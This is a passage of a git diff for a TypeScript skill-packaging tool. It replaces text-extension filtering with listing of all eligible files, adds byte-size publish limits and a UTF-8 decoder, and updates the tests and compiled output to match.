"html", - "css", - "scss", - "sass", - "svg", -] as const; +export function normalizeContentType(contentType?: string | null) { + const normalized = contentType?.split(";", 1)[0]?.trim().toLowerCase() ?? ""; + return normalized || undefined; +} -export const TEXT_FILE_EXTENSIONS = RAW_TEXT_FILE_EXTENSIONS; -export const TEXT_FILE_EXTENSION_SET = new Set(TEXT_FILE_EXTENSIONS); +export function decodeUtf8Text(bytes: Uint8Array) { + const chunks: string[] = []; + const codeUnits: number[] = []; + const appendCodePoint = (codePoint: number) => { + if (codePoint <= 0xffff) { + codeUnits.push(codePoint); + } else { + const offset = codePoint - 0x10000; + codeUnits.push(0xd800 + (offset >> 10), 0xdc00 + (offset & 0x3ff)); + } + if (codeUnits.length >= 8192) { + chunks.push(String.fromCharCode(...codeUnits)); + codeUnits.length = 0; + } + }; -const RAW_TEXT_CONTENT_TYPES = [ - "application/json", - "application/xml", - "application/yaml", - "application/x-yaml", - "application/toml", - "application/javascript", - "application/typescript", - "application/markdown", - "image/svg+xml", -] as const; + for (let index = 0; index < bytes.length; index += 1) { + const first = bytes[index] ?? 0; + if (first <= 0x7f) { + appendCodePoint(first); + continue; + } -export const TEXT_CONTENT_TYPES = RAW_TEXT_CONTENT_TYPES; -export const TEXT_CONTENT_TYPE_SET = new Set(TEXT_CONTENT_TYPES); + const second = bytes[index + 1]; + if (first >= 0xc2 && first <= 0xdf) { + if (second === undefined || second < 0x80 || second > 0xbf) return null; + appendCodePoint(((first & 0x1f) << 6) | (second & 0x3f)); + index += 1; + continue; + } -export function isTextContentType(contentType: string) { - if (!contentType) return false; - const normalized = contentType.split(";", 1)[0]?.trim().toLowerCase() ?? ""; - if (!normalized) return false; - if (normalized.startsWith("text/")) return true; - return TEXT_CONTENT_TYPE_SET.has(normalized); + const third = bytes[index + 2]; + if (first >= 0xe0 && first <= 0xef) { + const secondMin = first === 0xe0 ? 0xa0 : 0x80; + const secondMax = first === 0xed ? 0x9f : 0xbf; + if ( + second === undefined || + second < secondMin || + second > secondMax || + third === undefined || + third < 0x80 || + third > 0xbf + ) { + return null; + } + appendCodePoint(((first & 0x0f) << 12) | ((second & 0x3f) << 6) | (third & 0x3f)); + index += 2; + continue; + } + + const fourth = bytes[index + 3]; + if (first >= 0xf0 && first <= 0xf4) { + const secondMin = first === 0xf0 ? 0x90 : 0x80; + const secondMax = first === 0xf4 ? 0x8f : 0xbf; + if ( + second === undefined || + second < secondMin || + second > secondMax || + third === undefined || + third < 0x80 || + third > 0xbf || + fourth === undefined || + fourth < 0x80 || + fourth > 0xbf + ) { + return null; + } + appendCodePoint( + ((first & 0x07) << 18) | ((second & 0x3f) << 12) | ((third & 0x3f) << 6) | (fourth & 0x3f), + ); + index += 3; + continue; + } + + return null; + } + + if (codeUnits.length > 0) chunks.push(String.fromCharCode(...codeUnits)); + const text = chunks.join(""); + return text.charCodeAt(0) === 0xfeff ? text.slice(1) : text; } diff --git a/packages/clawhub/src/skills.test.ts b/packages/clawhub/src/skills.test.ts index 72df3028..e60e407c 100644 --- a/packages/clawhub/src/skills.test.ts +++ b/packages/clawhub/src/skills.test.ts @@ -12,6 +12,7 @@ import { hashSkillFiles, hashSkillZip, listManualSkills, + listSkillFiles, listTextFiles, readLockfile, readSkillOrigin, @@ -117,7 +118,7 @@ describe("skills", () => { await writeFile(join(workdir, ".clawhub", "origin.json"), "{}", "utf8"); await mkdir(join(workdir, "node_modules"), { recursive: true }); await writeFile(join(workdir, "node_modules", "a.txt"), "no", "utf8"); - const files = await listTextFiles(workdir); + const files = await listSkillFiles(workdir); expect(files.map((file) => file.relPath)).toEqual(["SKILL.md"]); }); @@ -130,7 +131,7 @@ describe("skills", () => { await writeFile(join(workdir, "private.md"), "no", "utf8"); await writeFile(join(workdir, "public.json"), "{}", "utf8"); - const files = await listTextFiles(workdir); + const files = await listSkillFiles(workdir); const paths = files.map((file) => file.relPath).sort(); expect(paths).toEqual(["SKILL.md", "public.json"]); expect(files.find((file) => file.relPath === "SKILL.md")?.contentType).toMatch(/^text\//); @@ -139,17 +140,21 @@ describe("skills", () => { ); }); - it("falls back to text/plain for unknown text extensions", async () => { + it("uses a generic MIME fallback for unknown extensions", async () => { const workdir = await mkdtemp(join(tmpdir(), "clawhub-env-")); await writeFile(join(workdir, "SKILL.md"), "hi", "utf8"); - await writeFile(join(workdir, "config.env"), "TOKEN=demo", "utf8"); + await writeFile(join(workdir, "config.env"), "SETTING=demo", "utf8"); const files = await listTextFiles(workdir); - expect(files.find((file) => file.relPath === "config.env")?.contentType).toBe("text/plain"); + expect(files.find((file) => file.relPath === "config.env")?.contentType).toBe( + "application/octet-stream", + ); }); - it("includes tsv and extensionless text files while skipping extensionless binaries", async () => { + it("includes every eligible regular file with exact bytes", async () => { const workdir = await mkdtemp(join(tmpdir(), "clawhub-extensionless-")); await writeFile(join(workdir, "SKILL.md"), "hi", "utf8"); + await writeFile(join(workdir, "main.tf"), 'resource "null_resource" "demo" {}\n', "utf8"); + await writeFile(join(workdir, "terraform.tfvars"), 'region = "us-east-1"\n', "utf8"); await writeFile(join(workdir, "config.tsv"), "name\tvalue\napi\tok\n", "utf8"); await writeFile(join(workdir, ".npmrc"), "//registry.npmjs.org/:_authToken=secret\n", "utf8"); await mkdir(join(workdir, "bin"), { recursive: true }); @@ -163,11 +168,32 @@ describe("skills", () => { largeBinary[largeBinary.length - 1] = 255; await writeFile(join(workdir, "bin", "binary"), largeBinary); - const files = await listTextFiles(workdir); + const files = await listSkillFiles(workdir); const paths = files.map((file) => file.relPath).sort(); - expect(paths).toEqual(["SKILL.md", "bin/openclaw-kraken", "config.tsv"]); + expect(paths).toEqual([ + "SKILL.md", + "bin/binary", + "bin/openclaw-kraken", + "config.tsv", + "main.tf", + "terraform.tfvars", + ]); expect(files.find((file) => file.relPath === "bin/openclaw-kraken")?.contentType).toBe( - "text/plain", + "application/octet-stream", + ); + expect(files.find((file) => file.relPath === "bin/binary")?.bytes).toEqual(largeBinary); + }); + + it("checks publish limits before reading skill artifacts", async () => { + const workdir = await mkdtemp(join(tmpdir(), "clawhub-publish-limits-")); + await writeFile(join(workdir, "SKILL.md"), "hi", "utf8"); + await writeFile(join(workdir, "payload.bin"), "12345", "utf8"); + + await expect(listSkillFiles(workdir, { maxFileBytes: 4, maxTotalBytes: 100 })).rejects.toThrow( + 'File "payload.bin" exceeds 4 byte limit', + ); + await expect(listSkillFiles(workdir, { maxFileBytes: 10, maxTotalBytes: 6 })).rejects.toThrow( + "Skill bundle exceeds 6 byte limit", ); }); @@ -183,38 +209,48 @@ describe("skills", () => { expect(fingerprint).toBe(expected); }); - it("hashes text files inside a downloaded zip deterministically", () => { + it("hashes every eligible file inside a downloaded zip deterministically", () => { + const opaqueBytes = Uint8Array.from([0, 1, 2, 255]); const zip = zipSync({ "SKILL.md": strToU8("hello"), "notes.md": strToU8("world"), ".npmrc": strToU8("//registry.npmjs.org/:_authToken=secret\n"), "config/endpoints.tsv": strToU8("name\turl\napi\thttps://example.com\n"), "bin/tool": strToU8("#!/usr/bin/env sh\necho ok\n"), - "image.png": strToU8("nope"), + "main.tf": strToU8('resource "null_resource" "demo" {}\n'), + "assets/payload.bin": opaqueBytes, }); const { fingerprint } = hashSkillZip(new Uint8Array(zip)); const expected = buildSkillFingerprint([ { path: "SKILL.md", sha256: sha256Hex(strToU8("hello")) }, + { path: "assets/payload.bin", sha256: sha256Hex(opaqueBytes) }, { path: "bin/tool", sha256: sha256Hex(strToU8("#!/usr/bin/env sh\necho ok\n")) }, { path: "config/endpoints.tsv", sha256: sha256Hex(strToU8("name\turl\napi\thttps://example.com\n")), }, + { + path: "main.tf", + sha256: sha256Hex(strToU8('resource "null_resource" "demo" {}\n')), + }, { path: "notes.md", sha256: sha256Hex(strToU8("world")) }, ]); expect(fingerprint).toBe(expected); }); - it("ignores unsafe or non-text entries when hashing zips", () => { + it("ignores unsafe entries when hashing zips", () => { const zip = zipSync({ "SKILL.md": strToU8("hello"), "folder/": strToU8(""), "../evil.txt": strToU8("nope"), "bad\\path.txt": strToU8("nope"), - "image.png": strToU8("nope"), + "image.png": strToU8("included"), }); const { files } = hashSkillZip(new Uint8Array(zip)); - expect(files).toEqual([{ path: "SKILL.md", sha256: sha256Hex(strToU8("hello")), size: 5 }]); + expect(files).toEqual([ + { path: "SKILL.md", sha256: sha256Hex(strToU8("hello")), size: 5 }, + { path: "image.png", sha256: sha256Hex(strToU8("included")), size: 8 }, + ]); }); it("builds fingerprints from valid entries only", () => { diff --git a/packages/clawhub/src/skills.ts b/packages/clawhub/src/skills.ts index 1a69e3c0..a424d8cc 100644 --- a/packages/clawhub/src/skills.ts +++ b/packages/clawhub/src/skills.ts @@ -1,21 +1,15 @@ import { createHash } from "node:crypto"; -import { access, mkdir, open, readdir, readFile, writeFile } from "node:fs/promises"; +import { access, mkdir, readdir, readFile, stat, writeFile } from "node:fs/promises"; import { dirname, join, relative, resolve, sep } from "node:path"; import { unzipSync } from "fflate"; import ignore from "ignore"; import mime from "mime"; -import { - type Lockfile, - LockfileSchema, - parseArk, - TEXT_FILE_EXTENSION_SET, -} from "./schema/index.js"; +import { type Lockfile, LockfileSchema, parseArk } from "./schema/index.js"; const DOT_DIR = ".clawhub"; const LEGACY_DOT_DIR = ".clawdhub"; const DOT_IGNORE = ".clawhubignore"; const LEGACY_DOT_IGNORE = ".clawdhubignore"; -const TEXT_SAMPLE_BYTES = 4096; export type SkillOrigin = { version: 1; @@ -27,6 +21,24 @@ export type SkillOrigin = { fingerprint?: string; }; +type SkillFileEntry = { + absPath: string; + relPath: string; + size: number; + contentType?: string; +}; + +type SkillFile = { + relPath: string; + bytes: Uint8Array; + contentType?: string; +}; + +type SkillFileLimits = { + maxFileBytes: number; + maxTotalBytes: number; +}; + export async function extractZipToDir(zipBytes: Uint8Array, targetDir: string) { const entries = unzipSync(zipBytes); await mkdir(targetDir, { recursive: true }); @@ -70,8 +82,8 @@ export async function extractGitHubZipPathToDir( } } -export async function listTextFiles(root: string) { - const files: Array<{ relPath: string; bytes: Uint8Array; contentType?: string }> = []; +export async function listSkillFiles(root: string, limits?: SkillFileLimits): Promise { + const entries: SkillFileEntry[] = []; const absRoot = resolve(root); const ig = ignore(); ig.add([".git/", "node_modules/", `${DOT_DIR}/`, `${LEGACY_DOT_DIR}/`]); @@ -84,14 +96,36 @@ export async function listTextFiles(root: string) { if (!relPath) return; if (ig.ignores(relPath)) return; if (hasDotPathSegment(relPath)) return; - const ext = getFileExtension(relPath); - if (ext && !TEXT_FILE_EXTENSION_SET.has(ext)) return; - if (!ext && !(await isLikelyTextFile(absPath))) return; - const buffer = await readFile(absPath); - const contentType = mime.getType(relPath) ?? "text/plain"; - files.push({ relPath, bytes: new Uint8Array(buffer), contentType }); + const fileStat = await stat(absPath); + const contentType = mime.getType(relPath) ?? "application/octet-stream"; + entries.push({ absPath, relPath, size: fileStat.size, contentType }); }); - return files; + + if (limits) { + const oversized = entries.find((entry) => entry.size > limits.maxFileBytes); + if (oversized) { + throw new Error( + `File "${oversized.relPath}" exceeds ${formatByteLimit(limits.maxFileBytes)}`, + ); + } + const totalBytes = entries.reduce((total, entry) => total + entry.size, 0); + if (totalBytes > limits.maxTotalBytes) { + throw new Error(`Skill bundle exceeds ${formatByteLimit(limits.maxTotalBytes)}`); + } + } + + return await Promise.all( + entries.map(async (entry) => ({ + relPath: entry.relPath, + bytes: new Uint8Array(await readFile(entry.absPath)), + contentType: entry.contentType, + })), + ); +} + +/** @deprecated Use listSkillFiles. */ +export async function listTextFiles(root: string) { + return await listSkillFiles(root); } type SkillFileHash = { path: string; sha256: string; size: number }; @@ -125,9 +159,6 @@ export function hashSkillZip(zipBytes: Uint8Array) { const safePath = sanitizeZipPath(rawPath); if (!safePath) return null; if (hasDotPathSegment(safePath)) return null; - const ext = getFileExtension(safePath); - if (ext && !TEXT_FILE_EXTENSION_SET.has(ext)) return null; - if (!ext && !isLikelyTextBytes(bytes)) return null; return { path: safePath, sha256: sha256Hex(bytes), size: bytes.byteLength }; }) .filter(Boolean) as SkillFileHash[]; @@ -198,36 +229,14 @@ function normalizePath(path: string) { .replace(/^\.\/+/, ""); } -function getFileExtension(path: string) { - const name = path.split("/").at(-1) ?? path; - const dot = name.lastIndexOf("."); - return dot > 0 ? name.slice(dot + 1).toLowerCase() : ""; -} - function hasDotPathSegment(path: string) { return path.split("/").some((segment) => segment.startsWith(".")); } -async function isLikelyTextFile(path: string) { - const handle = await open(path, "r"); - try { - const sample = new Uint8Array(TEXT_SAMPLE_BYTES); - const { bytesRead } = await handle.read(sample, 0, sample.byteLength, 0); - return isLikelyTextBytes(sample.subarray(0, bytesRead)); - } finally { - await handle.close(); - } -} - -function isLikelyTextBytes(bytes: Uint8Array) { - const sample = bytes.slice(0, TEXT_SAMPLE_BYTES); - if (sample.includes(0)) return false; - try { - new TextDecoder("utf-8", { fatal: true }).decode(sample); - return true; - } catch { - return false; - } +function formatByteLimit(bytes: number) { + if (bytes % (1024 * 1024) === 0) return `${bytes / (1024 * 1024)}MB limit`; + if (bytes % 1024 === 0) return `${bytes / 1024}KB limit`; + return `${bytes} byte limit`; } function sanitizeRelPath(path: string) { diff --git a/packages/schema/dist/textFiles.d.ts b/packages/schema/dist/textFiles.d.ts index ea8da234..b95f2045 100644 --- a/packages/schema/dist/textFiles.d.ts +++ b/packages/schema/dist/textFiles.d.ts @@ -1,7 +1,2 @@ -export declare const TEXT_FILE_EXTENSIONS: readonly ["md", "mdx", "txt", "json", "json5", "yaml", "yml", "toml", "js", "cjs", "mjs", "ts", "tsx", "jsx", "py", "sh", "ps1", "psm1", "psd1", "r", "rb", "go", "rs", "swift", "kt", "java", "cs", "cpp", "c", "h", "hpp", "sql", "csv", "tsv", "ini", "cfg", "conf", "env", "properties", "dat", "xml", "html", "css", "scss", "sass", "svg"]; -export declare const TEXT_FILE_EXTENSION_SET: Set; -export declare const TEXT_CONTENT_TYPES: readonly ["application/json", "application/xml", "application/yaml", "application/x-yaml", "application/toml", "application/javascript", "application/typescript", "application/markdown", "image/svg+xml"]; -export declare const TEXT_CONTENT_TYPE_SET: Set; -export declare function isTextContentType(contentType: string): boolean; -export declare function guessTextContentType(path: string): string | undefined; -export declare function normalizeTextContentType(path: string, contentType?: string | null): string | undefined; +export declare function normalizeContentType(contentType?: string | null): string | undefined; +export declare function decodeUtf8Text(bytes: Uint8Array): string | null; diff --git a/packages/schema/dist/textFiles.js b/packages/schema/dist/textFiles.js index e5086b38..f7e405af 100644 --- a/packages/schema/dist/textFiles.js +++ b/packages/schema/dist/textFiles.js @@ -1,111 +1,77 @@ -const RAW_TEXT_FILE_EXTENSIONS = [ - "md", - "mdx", - "txt", - "json", - "json5", - "yaml", - "yml", - "toml", - "js", - "cjs", - "mjs", - "ts", - "tsx", - "jsx", - "py", - "sh", - "ps1", - "psm1", - "psd1", - "r", - "rb", - "go", - "rs", - "swift", - "kt", - "java", - "cs", - "cpp", - "c", - "h", - "hpp", - "sql", - "csv", - "tsv", - "ini", - "cfg", - "conf", - "env", - "properties", - "dat", - "xml", - "html", - "css", - "scss", - "sass", - "svg", -]; -export const TEXT_FILE_EXTENSIONS = RAW_TEXT_FILE_EXTENSIONS; -export const TEXT_FILE_EXTENSION_SET = new Set(TEXT_FILE_EXTENSIONS); -const RAW_TEXT_CONTENT_TYPES = [ - "application/json", - "application/xml", - "application/yaml", - "application/x-yaml", - "application/toml", - "application/javascript", - "application/typescript", - "application/markdown", - "image/svg+xml", -]; -export const TEXT_CONTENT_TYPES = RAW_TEXT_CONTENT_TYPES; -export const TEXT_CONTENT_TYPE_SET = new Set(TEXT_CONTENT_TYPES); -const CANONICAL_TEXT_CONTENT_TYPES = { - md: "text/markdown", - mdx: "text/markdown", - txt: "text/plain", - json: "application/json", - json5: "application/json", - yaml: "application/yaml", - yml: "application/yaml", - toml: "application/toml", - js: "application/javascript", - cjs: "application/javascript", - mjs: "application/javascript", - jsx: "application/javascript", - ts: "application/typescript", - mts: "application/typescript", - cts: "application/typescript", - tsx: "application/typescript", - csv: "text/csv", - tsv: "text/tab-separated-values", - xml: "application/xml", - svg: "image/svg+xml", -}; -export function isTextContentType(contentType) { - if (!contentType) - return false; - const normalized = contentType.split(";", 1)[0]?.trim().toLowerCase() ?? ""; - if (!normalized) - return false; - if (normalized.startsWith("text/")) - return true; - return TEXT_CONTENT_TYPE_SET.has(normalized); -} -export function guessTextContentType(path) { - const ext = path.trim().toLowerCase().split(".").at(-1) ?? ""; - if (!ext || !TEXT_FILE_EXTENSION_SET.has(ext)) - return undefined; - return CANONICAL_TEXT_CONTENT_TYPES[ext] ?? "text/plain"; -} -export function normalizeTextContentType(path, contentType) { +export function normalizeContentType(contentType) { const normalized = contentType?.split(";", 1)[0]?.trim().toLowerCase() ?? ""; - const guessed = guessTextContentType(path); - if (!guessed) - return normalized || undefined; - if (isTextContentType(normalized)) - return normalized; - return guessed; + return normalized || undefined; +} +export function decodeUtf8Text(bytes) { + const chunks = []; + const codeUnits = []; + const appendCodePoint = (codePoint) => { + if (codePoint <= 0xffff) { + codeUnits.push(codePoint); + } + else { + const offset = codePoint - 0x10000; + codeUnits.push(0xd800 + (offset >> 10), 0xdc00 + (offset & 0x3ff)); + } + if (codeUnits.length >= 8192) { + chunks.push(String.fromCharCode(...codeUnits)); + codeUnits.length = 0; + } + }; + for (let index = 0; index < bytes.length; index += 1) { + const first = bytes[index] ?? 0; + if (first <= 0x7f) { + appendCodePoint(first); + continue; + } + const second = bytes[index + 1]; + if (first >= 0xc2 && first <= 0xdf) { + if (second === undefined || second < 0x80 || second > 0xbf) + return null; + appendCodePoint(((first & 0x1f) << 6) | (second & 0x3f)); + index += 1; + continue; + } + const third = bytes[index + 2]; + if (first >= 0xe0 && first <= 0xef) { + const secondMin = first === 0xe0 ? 0xa0 : 0x80; + const secondMax = first === 0xed ? 0x9f : 0xbf; + if (second === undefined || + second < secondMin || + second > secondMax || + third === undefined || + third < 0x80 || + third > 0xbf) { + return null; + } + appendCodePoint(((first & 0x0f) << 12) | ((second & 0x3f) << 6) | (third & 0x3f)); + index += 2; + continue; + } + const fourth = bytes[index + 3]; + if (first >= 0xf0 && first <= 0xf4) { + const secondMin = first === 0xf0 ? 0x90 : 0x80; + const secondMax = first === 0xf4 ? 0x8f : 0xbf; + if (second === undefined || + second < secondMin || + second > secondMax || + third === undefined || + third < 0x80 || + third > 0xbf || + fourth === undefined || + fourth < 0x80 || + fourth > 0xbf) { + return null; + } + appendCodePoint(((first & 0x07) << 18) | ((second & 0x3f) << 12) | ((third & 0x3f) << 6) | (fourth & 0x3f)); + index += 3; + continue; + } + return null; + } + if (codeUnits.length > 0) + chunks.push(String.fromCharCode(...codeUnits)); + const text = chunks.join(""); + return text.charCodeAt(0) === 0xfeff ? text.slice(1) : text; } //# sourceMappingURL=textFiles.js.map \ No newline at end of file diff --git a/packages/schema/dist/textFiles.js.map b/packages/schema/dist/textFiles.js.map index e194e493..90950f93 100644 --- a/packages/schema/dist/textFiles.js.map +++ b/packages/schema/dist/textFiles.js.map @@ -1 +1 @@ -{"version":3,"file":"textFiles.js","sourceRoot":"","sources":["../src/textFiles.ts"],"names":[],"mappings":"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"} \ No newline at end of file +{"version":3,"file":"textFiles.js","sourceRoot":"","sources":["../src/textFiles.ts"],"names":[],"mappings":"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